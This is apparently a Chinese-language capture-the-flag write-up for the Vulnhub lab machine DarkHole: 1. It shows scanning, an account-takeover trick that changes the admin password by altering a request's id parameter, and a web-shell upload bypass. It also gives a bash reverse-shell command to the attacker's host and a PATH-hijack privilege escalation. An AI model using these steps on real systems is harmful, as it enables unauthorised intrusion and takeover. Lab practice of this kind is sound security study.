Vulnhub-DarkHole_1|Vulnhub-DarkHole_1 题解

Vulnhub-DarkHole_1-Writeup 靶机地址:DARKHOLE: 1
Difficulty: Easy
扫描与发现 使用arp-scan发现目标IP

arp-scan -l

Vulnhub-DarkHole_1|Vulnhub-DarkHole_1 题解
文章图片

使用nmap扫描开放端口
nmap -sV -p- 192.168.164.193

Vulnhub-DarkHole_1|Vulnhub-DarkHole_1 题解
文章图片

目标探索 打开目标80端口发现没什么东西,查看源代码也没什么,只有一个登录连接

我们点进登录页面
Vulnhub-DarkHole_1|Vulnhub-DarkHole_1 题解
文章图片

想到可能是SQL注入,但是尝试之后没有结果。发现可以注册,输入用户名邮箱密码很容易可以注册成功,立马想到这里可能存在逻辑漏洞。登录之后是这样的
Vulnhub-DarkHole_1|Vulnhub-DarkHole_1 题解
文章图片

web shell 这里有更新数据功能,打开Burpsuite工具进行抓包,尝试修改admin用户的信息。设置用户名为admin,密码自己设置一个,比如123123,然后点击修改密码,抓包
Vulnhub-DarkHole_1|Vulnhub-DarkHole_1 题解
文章图片

数据包如下
Vulnhub-DarkHole_1|Vulnhub-DarkHole_1 题解
文章图片

这里应该是通过参数id值来修改对应用户密码的,我们将id值改为1,对应修改成admin密码,放出数据包提示密码修改成功,然后我们用admin账户登录,密码123123,登录成功,界面如下。
Vulnhub-DarkHole_1|Vulnhub-DarkHole_1 题解
文章图片

admin登录后多出来一个Upload功能,应该是利用文件上传拿到网站shell,经过探索后发现可以通过后缀.phtml绕过上传php脚本。可以上传一句话木马然后用蚁剑连接,获得虚拟终端
Vulnhub-DarkHole_1|Vulnhub-DarkHole_1 题解
文章图片

利用bash,反弹一个shell给kali
bash -c 'bash -i >& /dev/tcp/192.168.164.179/9999 0>&1'

Vulnhub-DarkHole_1|Vulnhub-DarkHole_1 题解
文章图片

用户shell 来到/home/john目录下发现有一个toto二进制文件执行id命令
Vulnhub-DarkHole_1|Vulnhub-DarkHole_1 题解
文章图片

发现uid为john,可以利用环境变量来切换得到john用户shell。在/tmp目录下
echo "/bin/bash" > /tmp/id chmod +x /tmp/id export PATH=/tmp:$PATH ./toto

Vulnhub-DarkHole_1|Vulnhub-DarkHole_1 题解
文章图片

root权限 拿到john权限后查看password文件,发现内容为root123
Vulnhub-DarkHole_1|Vulnhub-DarkHole_1 题解
文章图片

尝试用该密码进行ssh连接,发现可以连上darkhole用户。利用sudo发现其可以升为root
Vulnhub-DarkHole_1|Vulnhub-DarkHole_1 题解
文章图片

直接利用sudo提权,拿到flag
【Vulnhub-DarkHole_1|Vulnhub-DarkHole_1 题解】Vulnhub-DarkHole_1|Vulnhub-DarkHole_1 题解
文章图片

    推荐阅读